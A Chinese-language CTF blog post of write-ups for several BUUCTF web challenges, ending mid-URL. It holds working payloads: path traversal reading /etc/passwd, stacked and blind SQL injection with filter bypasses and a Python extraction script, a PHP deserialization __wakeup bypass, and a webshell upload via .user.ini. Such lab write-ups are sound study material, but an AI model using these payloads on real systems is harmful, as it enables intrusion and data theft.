文章目录
-
- [HCTF 2018]WarmUp
- [强网杯 2019]随便注 1
- [SUCTF 2019]EasySQL 1
- [护网杯 2018]easy_tornado 1
- [HCTF 2018]admin 1
- [RoarCTF 2019]Easy Calc
- [极客大挑战 2019]EasySQL 1
- [极客大挑战 2019]Havefun 1
- [SUCTF 2019]CheckIn 1
- [极客大挑战 2019]Secret File
- [CISCN2019 华北赛区 Day2 Web1]Hack World
- [极客大挑战 2019]Knife 1
- [极客大挑战 2019]PHP 1
- [网鼎杯 2018]Fakebook
- [极客大挑战 2019]LoveSQL
- [极客大挑战 2019]Http
- [GXYCTF2019]Ping Ping Ping
- [BJDCTF 2nd]fake google
- [极客大挑战 2019]BabySQL
- [ACTF2020 新生赛]Include
- [极客大挑战 2019]BuyFlag
- [ZJCTF 2019]NiZhuanSiWei
- [ACTF2020 新生赛]Exec
- [De1CTF 2019]SSRF Me
- [RoarCTF 2019]Easy Java
- [极客大挑战 2019]Upload
- [BJDCTF 2nd]old-hack
- [BUUCTF 2018]Online Tool
- [BJDCTF2020]Easy MD5
- [0CTF 2016]piapiapia
- [ACTF2020 新生赛]Upload
- [SUCTF 2019]Pythonginx
- [GXYCTF2019]禁止套娃
- [GXYCTF2019]BabySQli
- [安洵杯 2019]easy_web
- [ASIS 2019]Unicorn shop
- [极客大挑战 2019]HardSQL
- [CISCN2019 华北赛区 Day1 Web1]Dropbox
[HCTF 2018]WarmUp
打开网页发现是一个滑稽,查看源代码:
访问这个网页:
分析代码:
1.首先可以看到它定义了一个类,类里面有个checkFile函数
2.然后有一个判断条件要求我们传入的file参数不为空,并且是字符串,然后可以通过checkFile的验证
3.如果满足的话就包含我们传入的参数
checkFile函数:
首先设置了一个白名单数组:
有两个元素source.php和hint.php
第一个if:
判断传入参数是否为空或者是否为字符串,如果是的话则返回 you cant see it
第二个if:
判断我们传入的参数是否在白名单内,如果在则return true
第三个if:
在这个if之前使用了strpos查找“?”第一次出现的位置,然后返回这个位置,然后使用了substr截取字符串,从0到strpos查找的位置的长度。将其存储到$_page中
然后判断$_page是否在白名单内,在的话就返回true,就是这个地方我们可以利用
payload:
hint.php?file://../../../../../etc/passwd可以读取到passwd文件
查看flag:
file=hint.php?file://../../../../../ffffllllaaaagggg
[强网杯 2019]随便注 1
一打开这个网页就发现老sql注入了:
1.输入1’ 报错,根据回显信息判断注入点包裹在一对单引号中,同时考虑到这里能够报错,那么报错注入就是一种可能
2.输入1’ or 1–+ 返回多列说明存在注入点
3.尝试联合注入找字段输入1’ union select 1,2,3–+,发现返回了一个正则表达式:
可以看到过滤了很多,包括select,而且/i表示不区分大小写匹配
因此这里不能够使用双写或者大小写绕过,而且这里是对我们输入的字符串进行匹配,所以各种注释的方法也是不能绕过的,报错注入也只能查看数据库。
那么尝试一下编码绕过,或者字符拼接:
尝试了url编码发现无法绕过:%55nion(%53elect)
concat也不行:
绕个蛋,不绕了,累了
换一种思路,不让用select那就用堆叠注入试一试:
1’;show tables;
有两个表:
查看word表的内容:
1’;show columns from words;–+
感觉不在这个里面
查看另外一个表:
1’;show columns from `1919810931114514`;
有个flag字段,那么怎么取出数据?
尝试了这里的高级绕过方法,发现不行
看了一下网上的wp,发现可以使用预处理语句来解决这个问题:
PREPARE name from '[my sql sequece]'; //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE name; //删除预定义的SQL语句
payload:
1';PREPARE test from concat('se','lect', ' * from `1919810931114514` ');EXECUTE test;--+
或者将’select * from `1919810931114514`进行16进制编码:
1';Set @a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare test from @a;execute test;#
或者对select进行char编码,然后用concat连接
或者使用handler命令:
HANDLER tbl_name OPEN [ [AS] alias]
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,…) [ WHERE where_condition ] [LIMIT … ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST } [ WHERE where_condition ] [LIMIT … ]
HANDLER tbl_name READ { FIRST | NEXT } [ WHERE where_condition ] [LIMIT … ]
HANDLER tbl_name CLOSE
payload:
1';handler `1919810931114514` open;handler `1919810931114514` read first;--+
[SUCTF 2019]EasySQL 1
又是一道sql注入,测试发现这道题没有报错信息,没有回显
输入1" 倒是有回显但是作用不大,先上burp fuzz一下看看是什么形式的注入
可以看到是post型的注入:
可以看到过滤了and等等很多:
尝试使用异或注入:
fuck,还过滤了什么。。。。尝试了一下 吧from过滤了
这。。。用堆叠注入试试:
发现可以也,然后查看列名,要用到from,不行啊。。。
查看网上wp发现后台的语法可能是select.POST['参数'] || flag from flag
#这尼玛就离谱,这谁猜得到啊
因此可以输入*,1 来显示全部内容:
第二种方法:
在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接,但在mysql 缺省不支持。需要调整mysql 的sql_mode
模式:pipes_as_concat 来实现oracle 的一些功能
也就是使用了这个pipes_as_concat后就将||当成了concat来使用了
payload:
1;set sql_mode=pipes_as_concat;select 1
那么执行的语句就应该是:
select 1;set sql_mode=pipes_as_concat;select 1||flag from flag;
[护网杯 2018]easy_tornado 1
在hints中看到了这个东西:
再加上传入的参数有hash值:
我猜想可能是用上面的方式生成一个hash值然后传入参数,而上面那种生成hash值的方法存在缺陷(hash长度扩展攻击):
方向错了,长度攻击要求知道cookie_secret的长度
查看网上的wp,发现这是一个模板注入:
这是cookie_secret的所在位置
python的模板注入不是很熟悉,后面统一研究
[HCTF 2018]admin 1
看到这个注入我就想到了sqli-labs中的二次注入,首先尝试注册admin#,发现数据库没有将#给屏蔽掉admin#是一个新的账号,尝试注册admin
(很多空格),发现返回http500,也不行。
那就随便注册一个账号,然后登陆查看源代码发现:
应该是要我们以admin的身份登陆
随后又在changepass这里看到了这个:
在routes中发现:
python有lower函数啊,为什么要自己写?去看了一下这个函数的定义:
发现使用这个东西进行lower的,而它又是从这个库导入的:
这个我去github上看了一下源代码:添加链接描述
发现在这个地方有个断言测试:
它测试经过node。。。。这个函数转换后User是否等于user,而且使用u""(代表unicode)编码的,也就是说这个东西执行了一次后就将大写转化为了小写。然后我就真的不知道怎么做了。
查看了wp,发现可以在这个网站去找小字符这个不行
然后注册的时候用ᴬdmin注册,注册时候会执行一次strlower函数 ᴬ->A(这时候数据库中存放的是Admin)
妈的,那个种字符不行的会报服务器内部错误的这里才是可以用的字符,妈的,找了好久
然后登陆:ᴬdmin->Admin
不要妄想直接Admin登陆,因为会被转成admin
最后修改密码执行一次lowerA->a(admin),我们就成功修改了admin的密码:
得到flag:
这个题还有两种解法:添加链接描述
其实这个admin是个弱口令{123};
[RoarCTF 2019]Easy Calc
查看源码:
感觉应该是命令执行或者sql注入,尝试访问calc.php,发现了一段代码:
可以看到过滤了很多符号,尝试num=phpinfo()发现事情并不简单
思路断了,去看了网上wp。。。。
http走私的详细解释
我这里采用CL-TE模式:
需要用到的函数
scandir() 函数 返回指定目录中的文件和目录的数组。
base_convert() 函数 在任意进制之间转换数字,返回一个字符串
dechex() 函数:把十进制转换为十六进制。
hex2bin() 函数:把十六进制值的字符串转换为 ASCII 字符。
readfile() 函数:输出一个文件。该函数读入一个文件并写入到输出缓冲。若成功,则返回从文件中读入的字节数。若失败,则返回 false。您可以通过 @readfile() 形式调用该函数,来隐藏错误信息。
CL-TE导致了反向代理服务器404,但是它将我们发的数据转发给了后源服务器,而后源服务器读取我们的请求并将其解析了。
payload:
num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
另外一种方法:
php字符串解析漏洞:原理及应用
payload:
GET /calc.php?+num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))) HTTP/1.1
[极客大挑战 2019]EasySQL 1
可以看到是被一对单引号包裹起来的:
尝试万能密码登陆:
果然是easysql
[极客大挑战 2019]Havefun 1
这两道题跟前面的不是一个档次啊。。。
[SUCTF 2019]CheckIn 1
这道题考察了上传文件的漏洞,经过我的测试发现,使用了exif_imagetype()来判断是不是图片,因此我们可以采用生成图片马的方式来绕过,然后上传了用什么办法解析呢?我猜测是文件包含漏洞,发现可以上传.user.ini文件:
然后上传我们的一句话木马:
发现过滤了<?。。。
那么换一种方式:
蚁剑连接得到flag:
[极客大挑战 2019]Secret File
payload:
php://filter/read=convert.base64-encode/resource=flag.php
[CISCN2019 华北赛区 Day2 Web1]Hack World
脚本:
import re
import requests
url = "http://fddb150d-8889-41c6-a58f-0c69837c54d1.node3.buuoj.cn/index.php"
str = ""
for i in range(1,100):
max = 128
min = 33
mid = (max+min)>>1
while min < max:
data="1^if(ascii(substr((select(flag)from(flag)),{0},1))>{1},1,0)".format(i,mid)
s = requests.post(url,data={"id":data})
if "Error" in s.text:
min = mid+1
else:
max = mid
mid = (min+max)>>1
str += chr(mid)
print(str)
if "}" in str:
break
[极客大挑战 2019]Knife 1
蚁剑连接得到flag。。。。:
[极客大挑战 2019]PHP 1
备份文件,爷写的脑残脚本:
import requests
import re
url = "http://bed8b6da-2447-484d-8bc5-cc6c97d69f14.node3.buuoj.cn/"
list1=['tar','tar.gz','zip','rar']
list2=['web','website','backup','back','www','wwwroot','temp']
for i in list2:
for j in list1:
res = requests.get(url+i+'.'+j)
test = re.findall(r'Not Found',res.text)
if len(test)==0:
print(url+i+'.'+j)
结果这个不是flag:
查看源代码发现是一个反序列化漏洞:
class.php
index.php
分析:
1.由index.php可以看到,要求我们用get方法传入一个值(select),然后对这个值进行反序列化的处理
2.由class.php可以看到,定义了一个name类,变量username和passwod都是私有变量,有一个构造函数,一个析构函数和一个wakeup函数
3.构造函数是将传入的username,password赋值给私有变量username和password
4.wakeup是将username复制为guest
5.析构函数则是判断password是否等于100,username是否为admin
解题方法:
wakeup函数是在反序列化的时候会自动调用的,也就是说我们传入了序列化的字符串之后,username会被赋值成guest(因此需要绕过这里)(绕过:当反序列化字符串,表示属性个数的值大于真实属性个数时,会跳过 __wakeup 函数的执行。)
运行一下序列化方法:
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
1.O代表object 也就是对象
2.s代表string 也就是字符串
3.i代表整数
4.在php中(类的变量成员叫做“属性”,或者叫“字段”、“特征”,在本文档统一称为“属性”。)
5.Name后面的数字2代表有两个成员变量,也就是username和passwod,而我们通过将其改为3就可以绕过wakeup函数
select=O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
修改值后我们使用python提交看看:
发现他返回了这个东西,也就是说我们没有修改到username和password,原因是:
username与password都是private的,而php对私有成员变量进行序列化的时候会在类名以及成员名前面加上/0,而/0是不可见字符,我们直接复制的话就会丢失这个数据:
可以看到这里的长度为14,但只有12个字符,这是因为两个/0没有显示出来,因此我们后期传入参数的时候就要加上这两个字符
select=O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}
得到了flag
这里是对于序列化的详细说明
[网鼎杯 2018]Fakebook
注册一个账号,然后发现有数字型的sql注入:
http://96ede642-02a9-46c6-aa4f-a05092fc9738.node3.buuoj.cn/view.php?no=1%20and%20updatexml(1,concat(%27~%27,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name='users'),%27~%27),1)
看看password:
http://96ede642-02a9-46c6-aa4f-a05092fc9738.node